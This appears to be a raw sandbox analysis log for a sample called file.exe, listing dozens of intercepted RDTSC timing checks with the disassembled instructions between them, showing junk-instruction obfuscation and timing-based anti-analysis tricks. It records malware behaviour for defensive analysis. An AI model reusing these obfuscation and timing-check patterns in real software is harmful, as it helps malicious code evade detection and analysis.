Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE00B8 second address: 4AE00BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE00BC second address: 4AE0119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F6B2CB5B2CAh 0x00000010 sub ecx, 19A677B8h 0x00000016 jmp 00007F6B2CB5B2CBh 0x0000001b popfd 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f pop ebx 0x00000020 popad 0x00000021 mov dword ptr [esp], ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F6B2CB5B2CDh 0x0000002d add ax, 1256h 0x00000032 jmp 00007F6B2CB5B2D1h 0x00000037 popfd 0x00000038 mov ecx, 0B1E7FC7h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0119 second address: 4AE019E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 66DEh 0x00000007 pushfd 0x00000008 jmp 00007F6B2C74806Fh 0x0000000d sub cx, 438Eh 0x00000012 jmp 00007F6B2C748079h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebx, dword ptr [ebp+10h] 0x0000001e jmp 00007F6B2C74806Eh 0x00000023 xchg eax, esi 0x00000024 pushad 0x00000025 mov dx, cx 0x00000028 jmp 00007F6B2C74806Ah 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007F6B2C74806Bh 0x00000034 xchg eax, esi 0x00000035 jmp 00007F6B2C748076h 0x0000003a mov esi, dword ptr [ebp+08h] 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE019E second address: 4AE01A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 72B7EBAEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE01A8 second address: 4AE01DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B2C748077h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE01DA second address: 4AE01F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE01F2 second address: 4AE0289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F6B2C74806Fh 0x00000012 mov bx, si 0x00000015 popad 0x00000016 xchg eax, edi 0x00000017 jmp 00007F6B2C748072h 0x0000001c test esi, esi 0x0000001e jmp 00007F6B2C748070h 0x00000023 je 00007F6B9EB8643Eh 0x00000029 pushad 0x0000002a movzx ecx, dx 0x0000002d mov di, D1DEh 0x00000031 popad 0x00000032 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000039 jmp 00007F6B2C748075h 0x0000003e je 00007F6B9EB86429h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 call 00007F6B2C748073h 0x0000004c pop esi 0x0000004d mov ax, dx 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0289 second address: 4AE0306 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007F6B2CB5B2D0h 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 jmp 00007F6B2CB5B2CEh 0x0000001a pushfd 0x0000001b jmp 00007F6B2CB5B2D2h 0x00000020 or si, CDC8h 0x00000025 jmp 00007F6B2CB5B2CBh 0x0000002a popfd 0x0000002b popad 0x0000002c test edx, 61000000h 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F6B2CB5B2D5h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0306 second address: 4AE0373 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6B9EB863D3h 0x0000000f pushad 0x00000010 mov di, si 0x00000013 pushfd 0x00000014 jmp 00007F6B2C748078h 0x00000019 sbb eax, 2C349DB8h 0x0000001f jmp 00007F6B2C74806Bh 0x00000024 popfd 0x00000025 popad 0x00000026 test byte ptr [esi+48h], 00000001h 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov esi, edx 0x0000002f call 00007F6B2C748077h 0x00000034 pop esi 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0373 second address: 4AE03C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6B9EF995DAh 0x0000000f jmp 00007F6B2CB5B2D0h 0x00000014 test bl, 00000007h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F6B2CB5B2CDh 0x00000020 jmp 00007F6B2CB5B2CBh 0x00000025 popfd 0x00000026 mov ah, D7h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE03C6 second address: 4AE03EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B2C748070h 0x00000009 or ah, 00000038h 0x0000000c jmp 00007F6B2C74806Bh 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD06CC second address: 4AD06E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6B2CB5B2CAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD06E0 second address: 4AD0781 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B2C748071h 0x00000009 sbb cx, B4F6h 0x0000000e jmp 00007F6B2C748071h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F6B2C748070h 0x0000001a xor cx, E618h 0x0000001f jmp 00007F6B2C74806Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov ebp, esp 0x0000002a jmp 00007F6B2C748076h 0x0000002f and esp, FFFFFFF8h 0x00000032 pushad 0x00000033 movzx esi, di 0x00000036 push eax 0x00000037 push edx 0x00000038 pushfd 0x00000039 jmp 00007F6B2C748079h 0x0000003e xor al, 00000016h 0x00000041 jmp 00007F6B2C748071h 0x00000046 popfd 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0781 second address: 4AD079E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6B2CB5B2D3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD079E second address: 4AD0853 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov cx, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov eax, 03E576B9h 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 jmp 00007F6B2C74806Bh 0x00000019 xchg eax, esi 0x0000001a pushad 0x0000001b jmp 00007F6B2C74806Bh 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F6B2C74806Fh 0x00000029 sbb ch, 0000000Eh 0x0000002c jmp 00007F6B2C748079h 0x00000031 popfd 0x00000032 movzx ecx, dx 0x00000035 popad 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 mov bh, C9h 0x0000003a mov eax, 540B8121h 0x0000003f popad 0x00000040 mov esi, dword ptr [ebp+08h] 0x00000043 pushad 0x00000044 mov edx, eax 0x00000046 call 00007F6B2C748076h 0x0000004b pushfd 0x0000004c jmp 00007F6B2C748072h 0x00000051 and cl, 00000018h 0x00000054 jmp 00007F6B2C74806Bh 0x00000059 popfd 0x0000005a pop ecx 0x0000005b popad 0x0000005c mov ebx, 00000000h 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0853 second address: 4AD0857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0857 second address: 4AD085D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0972 second address: 4AD0976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0976 second address: 4AD097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD097C second address: 4AD09DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b jmp 00007F6B2CB5B2D2h 0x00000010 push eax 0x00000011 jmp 00007F6B2CB5B2CBh 0x00000016 xchg eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F6B2CB5B2CBh 0x00000020 sub ecx, 0654D63Eh 0x00000026 jmp 00007F6B2CB5B2D9h 0x0000002b popfd 0x0000002c mov ecx, 16BB6D87h 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD09DB second address: 4AD09F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2C748078h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0A61 second address: 4AD0A8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B2CB5B2D5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AD0A8D second address: 4AD0A9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2C74806Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D22 second address: 4AE0D3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D3A second address: 4AE0D7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007F6B2C74806Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F6B2C748070h 0x00000016 mov ebp, esp 0x00000018 jmp 00007F6B2C748070h 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D7B second address: 4AE0D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D7F second address: 4AE0D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D85 second address: 4AE0D8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D8B second address: 4AE0D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0D8F second address: 4AE0D93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0AB1 second address: 4AE0AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0AB5 second address: 4AE0AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0AB9 second address: 4AE0ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0ABF second address: 4AE0AE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6B2CB5B2D7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AE0AE1 second address: 4AE0B14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 jmp 00007F6B2C74806Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F6B2C748076h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov bx, si 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B50F98 second address: 4B50F9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B504E0 second address: 4B504E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B504E6 second address: 4B5050C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6B2CB5B2D0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B5050C second address: 4B5051B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B5051B second address: 4B50533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2CB5B2D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0014 second address: 4AF0018 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0018 second address: 4AF001E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF001E second address: 4AF0047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2C74806Ch 0x00000008 mov cx, EE31h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F6B2C74806Ch 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0047 second address: 4AF004D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF004D second address: 4AF0052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4AF0052 second address: 4AF00B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, FDAAh 0x00000007 call 00007F6B2CB5B2CBh 0x0000000c pop esi 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 mov edi, 31798C68h 0x00000017 mov dx, 0714h 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e pushad 0x0000001f call 00007F6B2CB5B2D9h 0x00000024 mov ah, 0Bh 0x00000026 pop ebx 0x00000027 mov ecx, 4E343599h 0x0000002c popad 0x0000002d pop ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 call 00007F6B2CB5B2D1h 0x00000036 pop esi 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B50719 second address: 4B50799 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B2C748077h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6B2C74806Bh 0x00000015 and ecx, 2C01CD4Eh 0x0000001b jmp 00007F6B2C748079h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F6B2C748070h 0x00000027 add esi, 6764A1C8h 0x0000002d jmp 00007F6B2C74806Bh 0x00000032 popfd 0x00000033 popad 0x00000034 call 00007F6B2C748069h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B50799 second address: 4B5079D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B5079D second address: 4B507B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B507B8 second address: 4B5082D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6B2CB5B2D1h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F6B2CB5B2D1h 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jmp 00007F6B2CB5B2D3h 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F6B2CB5B2D4h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B5082D second address: 4B50854 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6B2C748075h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00337 second address: 4B0033B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0033B second address: 4B00358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C748079h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00358 second address: 4B003A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2CB5B2D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6B2CB5B2D3h 0x00000013 adc cl, FFFFFF9Eh 0x00000016 jmp 00007F6B2CB5B2D9h 0x0000001b popfd 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B003A5 second address: 4B003C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6B2C74806Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B003C3 second address: 4B003C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B003C9 second address: 4B003DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B2C74806Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B003DA second address: 4B00454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6B2CB5B2CDh 0x0000000e mov ebp, esp 0x00000010 jmp 00007F6B2CB5B2CEh 0x00000015 push FFFFFFFEh 0x00000017 pushad 0x00000018 mov ax, 28EDh 0x0000001c pushfd 0x0000001d jmp 00007F6B2CB5B2CAh 0x00000022 sbb esi, 0B27F088h 0x00000028 jmp 00007F6B2CB5B2CBh 0x0000002d popfd 0x0000002e popad 0x0000002f push 02AEE3BFh 0x00000034 jmp 00007F6B2CB5B2CFh 0x00000039 add dword ptr [esp], 7449DC59h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F6B2CB5B2D0h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00454 second address: 4B00463 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00463 second address: 4B00484 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 15175B3Ah 0x00000008 mov cx, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e call 00007F6B2CB5B2C9h 0x00000013 pushad 0x00000014 push edi 0x00000015 mov eax, 42DE2ED5h 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00484 second address: 4B004A1 instructions: 0x00000000 rdtsc 0x00000002 mov edx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a movzx ecx, di 0x0000000d pop ebx 0x0000000e mov ax, A143h 0x00000012 popad 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B004A1 second address: 4B004A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B004A7 second address: 4B00516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 call 00007F6B2C748074h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F6B2C748070h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b mov cx, bx 0x0000001e mov bx, B080h 0x00000022 popad 0x00000023 pop eax 0x00000024 pushad 0x00000025 mov cx, di 0x00000028 jmp 00007F6B2C748071h 0x0000002d popad 0x0000002e mov eax, dword ptr fs:[00000000h] 0x00000034 jmp 00007F6B2C74806Eh 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00516 second address: 4B0051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0051A second address: 4B00520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00520 second address: 4B00526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00526 second address: 4B0052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0052A second address: 4B005D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6B2CB5B2CDh 0x0000000e nop 0x0000000f pushad 0x00000010 call 00007F6B2CB5B2CCh 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 mov cx, dx 0x0000001b popad 0x0000001c sub esp, 1Ch 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F6B2CB5B2D9h 0x00000026 add esi, 3FCB32A6h 0x0000002c jmp 00007F6B2CB5B2D1h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F6B2CB5B2D0h 0x00000038 jmp 00007F6B2CB5B2D5h 0x0000003d popfd 0x0000003e popad 0x0000003f xchg eax, ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F6B2CB5B2D8h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B005D0 second address: 4B005DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B2C74806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
